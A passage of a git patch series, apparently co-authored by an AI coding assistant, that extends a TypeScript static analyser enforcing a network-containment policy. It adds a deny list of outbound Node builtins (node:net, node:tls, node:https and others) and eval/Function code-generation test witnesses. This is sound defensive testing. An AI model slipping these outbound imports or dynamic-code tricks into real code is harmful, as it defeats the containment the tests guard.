+// shape rather than executable capability, so a domain member importing a
+// sibling domain file is never judged against the Cockpit-host boundary.
+// ---------------------------------------------------------------------------
+describe('D3 executable closure outbound-capability discipline (D3-NET single source of truth)', () => {
+ // The one outbound-capability rule for a closure member: every module it loads
+ // at runtime is either an in-tree relative import (whose target the closure walk
+ // already confines to `src/`) or one of the exact allow-listed builtins. Every
+ // other builtin — `node:net`, `node:tls`, `node:dgram`, `node:https`,
+ // `node:http2`, `node:fs`, … — and every bare package is outbound-capable and
+ // refused, in any closure member, host or not.
+ const outboundCapabilityViolation = (text: string): string | null => {
+ for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) {
+ if (!(isRelativeImportSpecifier(specifier) || isAllowedNodeBuiltin(specifier))) return specifier;
+ }
+ return null;
+ };
+
+ it('pins the real closure and gives every runtime file the host network-import restriction', () => {
+ const closure = hostExecutableClosure();
+ // The closure stays exactly the pinned 12-file oracle: nothing drops out
+ // (e.g. through the type-only import-equals fix) and nothing is silently added.
+ expect([...closure.map((source) => source.file)].sort()).toEqual([...EXPECTED_HOST_CLOSURE]);
+ for (const { file, text } of closure) {
+ // A computed dynamic `import(...)` cannot be confined, so no closure member may hold one.
+ expect(
+ hasUnverifiableDynamicImport(text),
+ `${file} contains an unverifiable (computed) dynamic import`,
+ ).toBe(false);
+ expect(outboundCapabilityViolation(text), `${file} imports an outbound-capable module`).toBeNull();
+ }
+ });
+
+ // --- Regression: outbound-capable builtins in a Cockpit/domain closure member ---
+ const OUTBOUND_BUILTINS = ['node:net', 'node:tls', 'node:dgram', 'node:https', 'node:http2'] as const;
+ for (const builtin of OUTBOUND_BUILTINS) {
+ it(`rejects a Cockpit closure member importing ${builtin}`, () => {
+ expect(outboundCapabilityViolation(`import handle from '${builtin}';\nexport const x = handle;`)).toBe(builtin);
+ });
+ it(`rejects a domain closure member re-exporting from ${builtin}`, () => {
+ expect(outboundCapabilityViolation(`export { thing } from '${builtin}';`)).toBe(builtin);
+ });
+ }
+ it('still accepts the exact production builtins and in-tree relatives', () => {
+ expect(
+ outboundCapabilityViolation(`import http from 'node:http';\nimport { pathToFileURL } from 'node:url';`),
+ ).toBeNull();
+ expect(
+ outboundCapabilityViolation(`import { renderDashboard } from './render.js';\nexport * from '../cockpit/index.js';`),
+ ).toBeNull();
+ });
+
+ // --- Regression: runtime code generation in a Cockpit/domain closure member ---
+ // The runtime-code-generation guard (`usesRuntimeCodeGeneration`) is the single
+ // policy; these witnesses prove it fires on a non-host closure member exactly as
+ // it does on the host, closing the gap where only `src/cockpit-host/**` was guarded.
+ const CODEGEN_MEMBERS: readonly { readonly form: string; readonly source: string }[] = [
+ { form: 'eval in a Cockpit member', source: `export const run = (): number => eval('1 + 1');` },
+ { form: 'Function in a Cockpit member', source: `export const make = Function('return 1');` },
+ { form: 'new Function in a domain member', source: `export const make = new Function('return 1');` },
+ { form: 'constructor chain in a domain member', source: `export const evil = (() => {}).constructor('return 1');` },
+ { form: 'globalThis.eval alias in a domain member', source: `export const g = globalThis.eval;` },
+ ];
+ for (const { form, source } of CODEGEN_MEMBERS) {
+ it(`rejects ${form}`, () => {
+ expect(usesRuntimeCodeGeneration(source)).toBe(true);
+ });
+ }
+
+ // --- Regression: type-only vs runtime `import x = require(...)` in the closure walk ---
+ it('keeps a type-only ImportEqualsDeclaration out of the runtime closure', () => {
+ expect(extractModuleSpecifiers(`import type Ns = require('./erased.js');`, { runtimeOnly: true })).toEqual([]);
+ // It is still a real (type-resolution) dependency when runtime filtering is off.
+ expect(extractModuleSpecifiers(`import type Ns = require('./erased.js');`)).toEqual(['./erased.js']);
+ });
+ it('keeps a runtime ImportEqualsDeclaration in the runtime closure', () => {
+ expect(extractModuleSpecifiers(`import Ns = require('./loaded.js');`, { runtimeOnly: true })).toEqual(['./loaded.js']);
+ expect(extractModuleSpecifiers(`import Ns = require('./loaded.js');`)).toEqual(['./loaded.js']);
+ // A type-only *alias* (`import type A = B.C`) is not an external-module reference and is never surfaced.
+ expect(extractModuleSpecifiers(`import type A = Ns.Member;`, { runtimeOnly: true })).toEqual([]);
+ });
+});
+
/**
* D3 network policy (D3-NET, clean Stage-A model).
*
From e198528b5350b7c32406c6ef0a9f5cfcf758e5cb Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 12:24:14 +0200
Subject: [PATCH 16/20] fix: respect explicit exports when propagating
star-export facts
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
hostExportsOf() unioned every re-export clause, so a barrel doing
`export * from './safe.js'` beside an explicit same-name export kept the star's
proven-capability fact for that name. A callable value shadowing a proven-string
`chunk` (typed string) was then accepted as a `response.end` argument, though
ECMAScript gives the explicit export precedence and Node exposes the privileged
response as the callback receiver.
Compute facts from the module's effective exports instead of the raw union:
- classify every explicit export first (local declaration, `export default`,
explicit `export { … }` / `export { … } from`), recording the names it binds;
- an `export * from` then fills in only the names no explicit export shadows;
- `export *` never re-exports `default`;
- a name provided by two different stars is ambiguous (absent from the
namespace) and propagates no fact either.
Legitimate non-shadowed star re-exports keep working (the existing factory /
getter re-export chains are unchanged, and the real closure has no `export *`).
Regression coverage added in d3-network-policy.test.ts: an explicit same-name
export shadows the star's proven-string fact (deny) while a non-shadowed star
keeps it (allow); `export *` does not carry a default factory while an explicit
`export { default as … }` does; two stars of the same name propagate nothing.
No production src/** changes.
Co-Authored-By: Claude Opus 4.8
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
---
tests/cockpit-host/d3-network-policy.test.ts | 50 +++++++++++
.../cockpit-host/support/d3-network-policy.ts | 88 +++++++++++++++----
2 files changed, 122 insertions(+), 16 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index da224ed..22c7e04 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1677,6 +1677,56 @@ get().close();`,
expect(occurrences(detector, 'function hostExportsOf(')).toBe(1);
expect(occurrences(detector, "from 'node:path'")).toBe(0);
});
+
+ it('respects ECMAScript effective-export semantics when propagating star-export facts (Codex P1)', () => {
+ // A legitimate, non-shadowed `export *` keeps carrying the proven-string fact:
+ // `response.end(chunk)` is accepted because `chunk` really is a proven string.
+ const nonShadowed = tree({
+ 'safe.ts': `export const chunk = 'safe-body';`,
+ 'barrel.ts': `export * from './safe.js';`,
+ 'server.ts': `${NS}\nimport { chunk } from './barrel.js';\nhttp.createServer((request, response) => { response.end(chunk); });`,
+ });
+ expect(reasonsOf(nonShadowed, 'server.ts')).toEqual([]);
+
+ // The Codex witness: the barrel also explicitly exports `chunk`, which is not a
+ // proven string. ECMAScript gives that explicit export precedence, so the
+ // star's proven-string fact must not survive — `response.end(chunk)` is denied.
+ const shadowed = tree({
+ 'safe.ts': `export const chunk = 'safe-body';`,
+ 'barrel.ts': `export * from './safe.js';\nexport function chunk(): void {}`,
+ 'server.ts': `${NS}\nimport { chunk } from './barrel.js';\nhttp.createServer((request, response) => { response.end(chunk); });`,
+ });
+ expect(reasonsOf(shadowed, 'barrel.ts')).toEqual([]);
+ expect(reasonsOf(shadowed, 'server.ts')).toEqual(['RESPONSE_END_ARGUMENT']);
+
+ // `export *` never re-exports `default`: the star does not carry the source's
+ // default factory, so the barrel's default import is unproven.
+ const noDefault = tree({
+ 'src.ts': `${NS}\nexport default function make(): http.Server { return http.createServer(${L}); }`,
+ 'barrel.ts': `export * from './src.js';`,
+ 'main.ts': `import make from './barrel.js';\nmake().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(noDefault, 'main.ts')).toEqual([]);
+ // An explicit `export { default as make }` DOES re-export the default factory,
+ // so the same consumer is again held to the loopback binding.
+ const explicitDefault = tree({
+ 'src.ts': `${NS}\nexport default function make(): http.Server { return http.createServer(${L}); }`,
+ 'barrel.ts': `export { default as make } from './src.js';`,
+ 'main.ts': `import { make } from './barrel.js';\nmake().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(explicitDefault, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+
+ // A name provided by two different stars is ambiguous under ECMAScript
+ // (absent from the namespace), so neither the factory nor the string fact
+ // propagates: the factory does not leak and the string is not proven.
+ const ambiguous = tree({
+ 'a.ts': `${NS}\nexport function dup(): http.Server { return http.createServer(${L}); }`,
+ 'b.ts': `export const dup = 'body';`,
+ 'barrel.ts': `export * from './a.js';\nexport * from './b.js';`,
+ 'main.ts': `${NS}\nimport { dup } from './barrel.js';\nhttp.createServer((request, response) => { response.end(dup); });`,
+ });
+ expect(reasonsOf(ambiguous, 'main.ts')).toEqual(['RESPONSE_END_ARGUMENT']);
+ });
});
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 5388c97..ed98859 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -1703,7 +1703,24 @@ const hasExportModifier = (node: ts.Node): boolean =>
const hasDefaultModifier = (node: ts.Node): boolean =>
ts.canHaveModifiers(node) && (ts.getModifiers(node) ?? []).some((modifier) => modifier.kind === ts.SyntaxKind.DefaultKeyword);
-/** What a file proves about its own exports: confined factories, proven strings and string functions, including re-exports of proven sibling exports. */
+/**
+ * What a file proves about its own exports: confined factories, proven strings
+ * and string functions, including re-exports of proven sibling exports.
+ *
+ * Computed from the module's *effective* exports under ECMAScript semantics, not
+ * the raw union of every re-export clause. An explicit export — a local
+ * declaration, an `export default`, or an explicit `export { … }` /
+ * `export { … } from` — shadows a same-name `export * from` star export, and
+ * `export *` never re-exports the `default` binding. A name exported by two
+ * different stars is ambiguous (absent from the namespace unless an explicit
+ * export shadows it), so it too propagates no fact. Explicit exports are
+ * therefore classified first — recording the names they bind — and only then do
+ * star exports fill in the names no explicit export, and no competing star,
+ * already claims. Without this, `export * from './safe.js'` beside an explicit
+ * `export const chunk = …` of the same name would keep `safe`'s proven-string
+ * fact for `chunk`, and a callable value shadowing it (typed `string`) would be
+ * wrongly accepted as a `response.end` argument.
+ */
function hostExportsOf(ctx: Context): HostModuleExports {
const factories = new Set();
const instantiatingFactories = new Set();
@@ -1722,43 +1739,82 @@ function hostExportsOf(ctx: Context): HostModuleExports {
if (source.strings.has(imported)) strings.add(exportName);
if (source.stringFunctions.has(imported)) stringFunctions.add(exportName);
};
+ // Every name this module exports explicitly. A star export of the same name is
+ // shadowed by it and contributes no fact.
+ const explicitNames = new Set();
+ const starStatements: ts.ExportDeclaration[] = [];
for (const statement of ctx.sourceFile.statements) {
if (isAmbient(statement)) continue;
if (ts.isFunctionDeclaration(statement) && statement.name !== undefined && hasExportModifier(statement)) {
- classifyBinding(valueSymbolOf(ctx.checker, statement.name), hasDefaultModifier(statement) ? 'default' : statement.name.text);
+ const exportName = hasDefaultModifier(statement) ? 'default' : statement.name.text;
+ explicitNames.add(exportName);
+ classifyBinding(valueSymbolOf(ctx.checker, statement.name), exportName);
}
if (ts.isVariableStatement(statement) && hasExportModifier(statement)) {
for (const declaration of statement.declarationList.declarations) {
- if (ts.isIdentifier(declaration.name)) classifyBinding(valueSymbolOf(ctx.checker, declaration.name), declaration.name.text);
+ if (ts.isIdentifier(declaration.name)) {
+ explicitNames.add(declaration.name.text);
+ classifyBinding(valueSymbolOf(ctx.checker, declaration.name), declaration.name.text);
+ }
}
}
if (ts.isExportAssignment(statement) && !statement.isExportEquals) {
+ explicitNames.add('default');
const exported = unwrap(statement.expression);
if (ts.isIdentifier(exported)) classifyBinding(valueSymbolOf(ctx.checker, exported), 'default');
}
if (ts.isExportDeclaration(statement) && !statement.isTypeOnly) {
const clause = statement.exportClause;
const specifier = statement.moduleSpecifier;
- if (specifier !== undefined) {
+ if (clause === undefined && specifier !== undefined) {
+ // `export * from 'S'` — an effective-export computation deferred below.
+ starStatements.push(statement);
+ } else if (specifier !== undefined && clause !== undefined && ts.isNamedExports(clause)) {
+ // `export { a, b as c } from 'S'` — explicit named re-exports.
const source = ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined;
- if (source === undefined) continue;
- if (clause === undefined) {
- for (const name of source.factories) factories.add(name);
- for (const name of source.instantiatingFactories) instantiatingFactories.add(name);
- for (const name of source.strings) strings.add(name);
- for (const name of source.stringFunctions) stringFunctions.add(name);
- } else if (ts.isNamedExports(clause)) {
- for (const element of clause.elements) {
- if (!element.isTypeOnly) copyFrom(source, (element.propertyName ?? element.name).text, element.name.text);
- }
+ for (const element of clause.elements) {
+ if (element.isTypeOnly) continue;
+ explicitNames.add(element.name.text);
+ if (source !== undefined) copyFrom(source, (element.propertyName ?? element.name).text, element.name.text);
}
- } else if (clause !== undefined && ts.isNamedExports(clause)) {
+ } else if (specifier === undefined && clause !== undefined && ts.isNamedExports(clause)) {
+ // Local `export { a, b }`.
for (const element of clause.elements) {
- if (!element.isTypeOnly) classifyBinding(valueSymbolOf(ctx.checker, element), element.name.text);
+ if (element.isTypeOnly) continue;
+ explicitNames.add(element.name.text);
+ classifyBinding(valueSymbolOf(ctx.checker, element), element.name.text);
}
}
}
}
+ // Star pass: a name is effectively star-exported only when no explicit export
+ // shadows it, it is not `default` (which `export *` excludes), and exactly one
+ // star source provides it (otherwise it is ambiguous). Its fact comes from
+ // that single source.
+ const starProviders = new Map();
+ for (const statement of starStatements) {
+ const specifier = statement.moduleSpecifier;
+ const source = specifier !== undefined && ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined;
+ if (source === undefined) continue;
+ const provided = new Set([
+ ...source.factories,
+ ...source.instantiatingFactories,
+ ...source.strings,
+ ...source.stringFunctions,
+ ]);
+ for (const name of provided) {
+ if (name === 'default') continue; // `export *` never re-exports the default binding
+ const providers = starProviders.get(name) ?? [];
+ providers.push(source);
+ starProviders.set(name, providers);
+ }
+ }
+ for (const [name, providers] of starProviders) {
+ if (explicitNames.has(name)) continue; // an explicit export shadows the star
+ if (providers.length !== 1) continue; // ambiguous across stars → not exported
+ const source = providers[0];
+ if (source !== undefined) copyFrom(source, name, name);
+ }
return { factories, instantiatingFactories, strings, stringFunctions };
}
From 14b66f60bfa922c30a57e4853660bd94aa57112a Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 16:27:59 +0200
Subject: [PATCH 17/20] fix: correct closure module-graph and
server-cardinality semantics
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Two bounded correctness repairs closing the audited Codex families.
Family A — executable-closure module graph (purity.test.ts). Make the closure
walk match the project's TypeScript/Node runtime module semantics:
- `extractModuleSpecifiers` surfaces a bare `require('S')` call as a runtime
edge (symmetric with dynamic `import()`), so a `.cts`/`.cjs` closure member's
relative requires are followed and its builtin requires reach the outbound
allow-list — `obj.require(…)` and `require.resolve(…)` are excluded;
- a named import/export clause whose specifiers are all `type` (e.g.
`import { type X } from 'S'`) erases at runtime and is dropped under
`runtimeOnly`, alongside the existing declaration-level `import type`;
- `closureMemberOf` maps the output→source extension on the URL pathname and
drops `?query`/`#fragment`, so `./x.js?instance` resolves to `x.ts` instead
of throwing — mirroring the tree resolver.
Family B — server-instantiation cardinality (d3-network-policy.ts). Replace the
boolean factory-instantiation model with a bounded per-invocation server count:
- `factoryServerCount` computes the servers on the busiest execution path
through a factory body (max over exclusive branches, sum along a sequence),
capped at 2, so two sequential `http.createServer(...)` calls count as two
while multiple `return http.createServer(...)` in exclusive branches stay one
per call;
- the instantiation-site bound now sums servers (not call sites): a site is
denied once it would create a server beyond the single tree-wide free one;
- the per-invocation count is propagated across files via a new
`multiInstantiatingFactories` export fact, so an imported multi-server factory
invoked once is denied too.
Regression coverage added for both families. All existing legitimate behavior is
preserved (the frozen matrix, the multiple-returns MUST_ALLOW case) and the real
host/closure still passes. No production src/** changes.
Co-Authored-By: Claude Opus 4.8
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
---
tests/cockpit-host/d3-network-policy.test.ts | 32 +++++
tests/cockpit-host/purity.test.ts | 118 ++++++++++++++--
.../cockpit-host/support/d3-network-policy.ts | 133 +++++++++++++++---
3 files changed, 254 insertions(+), 29 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 22c7e04..a1c13c9 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1727,6 +1727,38 @@ get().close();`,
});
expect(reasonsOf(ambiguous, 'main.ts')).toEqual(['RESPONSE_END_ARGUMENT']);
});
+
+ it('counts every server one factory invocation creates, single-file and across files (Codex P1: server cardinality)', () => {
+ // Witness: one confined factory whose single invocation runs two
+ // http.createServer calls sequentially, invoked once — two servers, denied.
+ const sequential = analyzeNetworkPolicy(
+ `${NS}\nfunction make() { http.createServer(${L}); return http.createServer(${L}); }\nmake().listen(4317, '127.0.0.1');`,
+ );
+ expect(sequential.reasons).toEqual(['CREATE_SERVER_MULTIPLE']);
+ // Preserved: multiple internal returns are one server per invocation (exclusive
+ // branches), and a one-server factory invoked once is allowed.
+ const exclusive = analyzeNetworkPolicy(
+ `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).listen(4317, '127.0.0.1');`,
+ );
+ expect(exclusive.reasons).toEqual([]);
+ const single = analyzeNetworkPolicy(
+ `${NS}\nfunction make() { return http.createServer(${L}); }\nmake().listen(4317, '127.0.0.1');`,
+ );
+ expect(single.reasons).toEqual([]);
+
+ // Cross-file: an imported two-server factory invoked once is denied via the
+ // propagated multi-instantiation fact; a one-server import is allowed.
+ const crossMulti = tree({
+ 'factory.ts': `${NS}\nexport function make() { http.createServer(${L}); return http.createServer(${L}); }`,
+ 'main.ts': `import { make } from './factory.js';\nmake().listen(4317, '127.0.0.1');`,
+ });
+ expect(reasonsOf(crossMulti, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']);
+ const crossSingle = tree({
+ 'factory.ts': `${NS}\nexport function make() { return http.createServer(${L}); }`,
+ 'main.ts': `import { make } from './factory.js';\nmake().listen(4317, '127.0.0.1');`,
+ });
+ expect(reasonsOf(crossSingle, 'main.ts')).toEqual([]);
+ });
});
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index 148e83b..9762285 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -204,7 +204,15 @@ const srcFileUrl = (name: string): URL => new URL(name.split('/').map(encodeURIC
const closureMemberOf = (importerFileUrl: URL, specifier: string): string => {
const resolvedUrl = resolveRelativeImport(importerFileUrl, specifier);
if (resolvedUrl === null) throw new Error(`D3-NET: unresolvable runtime import ${specifier} from ${importerFileUrl.href}`);
- const sourceUrl = new URL(resolvedUrl.href.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts').replace(/\.cjs$/, '.cts'));
+ // Map the NodeNext output extension to its source on the *pathname*, dropping
+ // any URL suffix — a module's source identity is its path, not its `?query` or
+ // `#fragment`. Rewriting the full `href` missed `./x.js?instance`, whose `.js`
+ // is followed by the query, so the walker looked for `x.js` and threw; this
+ // mirrors the tree resolver `resolveHostSpecifier`, which maps on the pathname.
+ const sourceUrl = new URL(resolvedUrl.href);
+ sourceUrl.search = '';
+ sourceUrl.hash = '';
+ sourceUrl.pathname = sourceUrl.pathname.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts').replace(/\.cjs$/, '.cts');
const name = srcRelativeName(sourceUrl);
if (!existsSync(fileURLToPath(sourceUrl))) {
throw new Error(`D3-NET: runtime import ${specifier} from ${importerFileUrl.href} has no source file ${name}`);
@@ -276,15 +284,22 @@ const isAllowedNodeBuiltin = (specifier: string): boolean => ALLOWED_NODE_BUILTI
* - dynamic `import('S')` / `import('S', { … })` — a call whose callee is the
* `import` keyword; its first argument surfaces only as a `StringLiteral` or a
* substitution-free `NoSubstitutionTemplateLiteral`, never a substituted
- * `TemplateExpression` (a computed specifier).
+ * `TemplateExpression` (a computed specifier);
+ * - CommonJS `require('S')` — a call whose callee is the bare identifier
+ * `require`; its first argument surfaces on the same static-string rule as
+ * dynamic `import`. A `.cts`/`.cjs` closure member loads its dependencies
+ * through `require`, so this is a genuine runtime module edge — `obj.require(…)`
+ * (a property call) and `require.resolve(…)` are not.
*
* Excluded structurally, with no special-casing: `import.meta` (a meta-property,
- * not a call), `obj.import(…)` (a property call), a plain `require(…)`, and a
- * member/property/class-field named `import` (`{ import: 'S' }`,
- * `class C { import = 'S' }`) — none of which is an import node. Specifiers are
- * returned in source order (a pre-order walk); repeats are kept, since each
- * import site is a distinct occurrence. This is a pure syntactic parse — no
- * binder, type-checker, module resolution, or file-system access.
+ * not a call), `obj.import(…)` (a property call), and a member/property/class-field
+ * named `import` (`{ import: 'S' }`, `class C { import = 'S' }`) — none of which is
+ * an import node. A named import/export clause whose specifiers are all `type` (or
+ * a declaration-level `import type` / `export type`) erases at runtime and is
+ * dropped under `runtimeOnly`. Specifiers are returned in source order (a pre-order
+ * walk); repeats are kept, since each import site is a distinct occurrence. This is
+ * a pure syntactic parse — no binder, type-checker, module resolution, or
+ * file-system access.
*/
function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly?: boolean } = {}): readonly string[] {
const sourceFile = ts.createSourceFile(
@@ -303,11 +318,34 @@ function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly
const stringLiteralText = (node: ts.Node | undefined): string | null =>
node !== undefined && ts.isStringLiteral(node) ? node.text : null;
+ // Whether an import/export declaration is fully erased at runtime — a
+ // declaration-level `import type` / `export type`, OR a named clause that binds
+ // no runtime value (no default/namespace binding and every named specifier is
+ // `type`). `import { type X } from 'S'` and `export { type X } from 'S'` erase
+ // exactly as `import type { X } from 'S'` does. A side-effect `import 'S'`, a
+ // namespace binding (`import * as ns`, `export * as ns`), and a bare
+ // `export * from 'S'` all load at runtime and are never erased.
+ const isErasedRuntimeDeclaration = (node: ts.ImportDeclaration | ts.ExportDeclaration): boolean => {
+ if (ts.isImportDeclaration(node)) {
+ if (node.importClause?.phaseModifier === ts.SyntaxKind.TypeKeyword) return true;
+ const clause = node.importClause;
+ if (clause === undefined || clause.name !== undefined) return false;
+ const named = clause.namedBindings;
+ if (named === undefined || ts.isNamespaceImport(named)) return false;
+ return named.elements.every((element) => element.isTypeOnly);
+ }
+ if (node.isTypeOnly) return true;
+ const clause = node.exportClause;
+ if (clause === undefined || ts.isNamespaceExport(clause)) return false;
+ return clause.elements.every((element) => element.isTypeOnly);
+ };
+
const visit = (node: ts.Node): void => {
if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) {
- // A clause-level `import type` / `export type` is erased by emit and loads
- // nothing at runtime; the executable-closure walk skips it on request.
- const typeOnly = ts.isImportDeclaration(node) ? node.importClause?.phaseModifier === ts.SyntaxKind.TypeKeyword : node.isTypeOnly;
+ // A clause-level `import type` / `export type`, or a named clause whose
+ // specifiers are all `type`, is erased by emit and loads nothing at runtime;
+ // the executable-closure walk skips it on request.
+ const typeOnly = isErasedRuntimeDeclaration(node);
const specifier = stringLiteralText(node.moduleSpecifier);
if (specifier !== null && !(options.runtimeOnly === true && typeOnly)) specifiers.push(specifier);
} else if (ts.isImportEqualsDeclaration(node)) {
@@ -328,6 +366,18 @@ function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly
// never reaches this branch.
const arg = node.arguments[0];
if (arg !== undefined && ts.isStringLiteralLike(arg)) specifiers.push(arg.text);
+ } else if (
+ ts.isCallExpression(node) &&
+ ts.isIdentifier(node.expression) &&
+ node.expression.text === 'require'
+ ) {
+ // CommonJS `require('S')`: a bare-identifier `require` call — the runtime
+ // load form of a `.cts`/`.cjs` closure member. Its first argument surfaces
+ // on the same static-string rule as dynamic `import`. `obj.require(…)` (a
+ // property call) and `require.resolve(…)` have a non-identifier callee and
+ // never reach this branch.
+ const arg = node.arguments[0];
+ if (arg !== undefined && ts.isStringLiteralLike(arg)) specifiers.push(arg.text);
}
ts.forEachChild(node, visit);
};
@@ -3529,6 +3579,52 @@ describe('D3 executable closure outbound-capability discipline (D3-NET single so
});
});
+describe('D3 executable-closure module-graph correctness (Codex P1/P2)', () => {
+ // The closure walk must enumerate the true runtime module graph and resolve each
+ // edge with the project's TypeScript/Node semantics. These are the three audited
+ // cases; the outbound rule here is the same `relative-or-allow-listed` predicate
+ // the discipline block enforces.
+ const outboundOk = (specifier: string): boolean => isRelativeImportSpecifier(specifier) || isAllowedNodeBuiltin(specifier);
+
+ // (1) CommonJS `require` in a `.cts`/`.cjs` closure member is a runtime edge.
+ it('surfaces a bare require() as a runtime module edge', () => {
+ expect(extractModuleSpecifiers(`const https = require('node:https');\nhttps.get('x');`, { runtimeOnly: true })).toEqual(['node:https']);
+ expect(extractModuleSpecifiers(`const sibling = require('./helper.cjs');`, { runtimeOnly: true })).toEqual(['./helper.cjs']);
+ // A builtin require is refused by the outbound rule; a relative require is followed as a closure edge.
+ expect(outboundOk('node:https')).toBe(false);
+ expect(isRelativeImportSpecifier('./helper.cjs')).toBe(true);
+ });
+ it('does not treat require.resolve or a property/keyed require as a module edge', () => {
+ expect(extractModuleSpecifiers(`const p = require.resolve('node:https');`, { runtimeOnly: true })).toEqual([]);
+ expect(extractModuleSpecifiers(`const x = obj.require('node:https');`, { runtimeOnly: true })).toEqual([]);
+ expect(extractModuleSpecifiers(`const x = { require: 'node:https' };`, { runtimeOnly: true })).toEqual([]);
+ });
+
+ // (2) A named clause whose specifiers are all `type` erases at runtime.
+ it('drops an all-type named import/export under runtimeOnly, keeps a value-bearing clause', () => {
+ expect(extractModuleSpecifiers(`import { type X } from './t.js';`, { runtimeOnly: true })).toEqual([]);
+ expect(extractModuleSpecifiers(`export { type X } from './t.js';`, { runtimeOnly: true })).toEqual([]);
+ // Without runtimeOnly it is still a (type-resolution) dependency.
+ expect(extractModuleSpecifiers(`import { type X } from './t.js';`)).toEqual(['./t.js']);
+ // A value specifier, a default binding, or a namespace binding keeps the runtime edge.
+ expect(extractModuleSpecifiers(`import { value, type X } from './t.js';`, { runtimeOnly: true })).toEqual(['./t.js']);
+ expect(extractModuleSpecifiers(`import def, { type X } from './t.js';`, { runtimeOnly: true })).toEqual(['./t.js']);
+ expect(extractModuleSpecifiers(`import * as ns from './t.js';`, { runtimeOnly: true })).toEqual(['./t.js']);
+ // A side-effect import and a bare `export *` load at runtime and are kept.
+ expect(extractModuleSpecifiers(`import './t.js';`, { runtimeOnly: true })).toEqual(['./t.js']);
+ expect(extractModuleSpecifiers(`export * from './t.js';`, { runtimeOnly: true })).toEqual(['./t.js']);
+ });
+
+ // (3) The output→source extension mapping is on the pathname, preserving suffixes.
+ it('resolves a closure member through a query or fragment suffix', () => {
+ const importer = srcFileUrl('cockpit/index.ts');
+ expect(closureMemberOf(importer, './read-model.js?instance')).toBe('cockpit/read-model.ts');
+ expect(closureMemberOf(importer, './read-model.js#section')).toBe('cockpit/read-model.ts');
+ // The plain specifier resolves identically — the suffix handling is additive.
+ expect(closureMemberOf(importer, './read-model.js')).toBe('cockpit/read-model.ts');
+ });
+});
+
/**
* D3 network policy (D3-NET, clean Stage-A model).
*
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index ed98859..6298906 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -110,6 +110,8 @@ export interface HostModuleExports {
readonly factories: ReadonlySet;
/** The subset of `factories` whose own body instantiates a server (directly or through another instantiating confined factory), as opposed to returning an alias. */
readonly instantiatingFactories: ReadonlySet;
+ /** The subset of `instantiatingFactories` whose single invocation instantiates more than one server (the server-count bound, propagated across files). */
+ readonly multiInstantiatingFactories: ReadonlySet;
/** Export names whose value is a proven string. */
readonly strings: ReadonlySet;
/** Export names that are local functions returning only proven strings. */
@@ -231,8 +233,12 @@ interface Context {
readonly externalFactories: Set;
/** The subset of `externalFactories` the exporting file proved to instantiate a server. */
readonly externalInstantiatingFactories: Set;
+ /** The subset of `externalInstantiatingFactories` the exporting file proved to instantiate more than one server per invocation. */
+ readonly externalMultiInstantiatingFactories: Set;
/** Confined factories (local or seeded) that instantiate a server (recorded by `checkInstantiationSites`). */
readonly instantiatingFactories: Set;
+ /** The subset of `instantiatingFactories` whose single invocation instantiates more than one server (recorded by `checkInstantiationSites`). */
+ readonly multiInstantiatingFactories: Set;
/** Import bindings seeded as proven strings / string-returning functions from sibling host files. */
readonly externalStrings: Set;
readonly externalStringFunctions: Set;
@@ -777,6 +783,7 @@ function collectHostImports(ctx: Context): void {
ctx.externalFactories.add(symbol);
}
if (source.instantiatingFactories.has(imported)) ctx.externalInstantiatingFactories.add(symbol);
+ if (source.multiInstantiatingFactories.has(imported)) ctx.externalMultiInstantiatingFactories.add(symbol);
if (source.strings.has(imported)) ctx.externalStrings.add(symbol);
if (source.stringFunctions.has(imported)) ctx.externalStringFunctions.add(symbol);
};
@@ -1532,34 +1539,117 @@ function checkFreeGlobal(ctx: Context, id: ts.Identifier): void {
* after the fixpoint; nothing about runtime call multiplicity is claimed.
*/
function checkInstantiationSites(ctx: Context): void {
- const memo = new Map();
- const factoryInstantiates = (factory: ts.Symbol): boolean => {
+ const memo = new Map();
+ // Servers created when evaluating an expression: every instantiating call that
+ // runs, summed over sequential sub-expressions, with a conditional taking its
+ // busier branch. A function/class body is a value here — it runs only when
+ // called — so it contributes nothing until such a call.
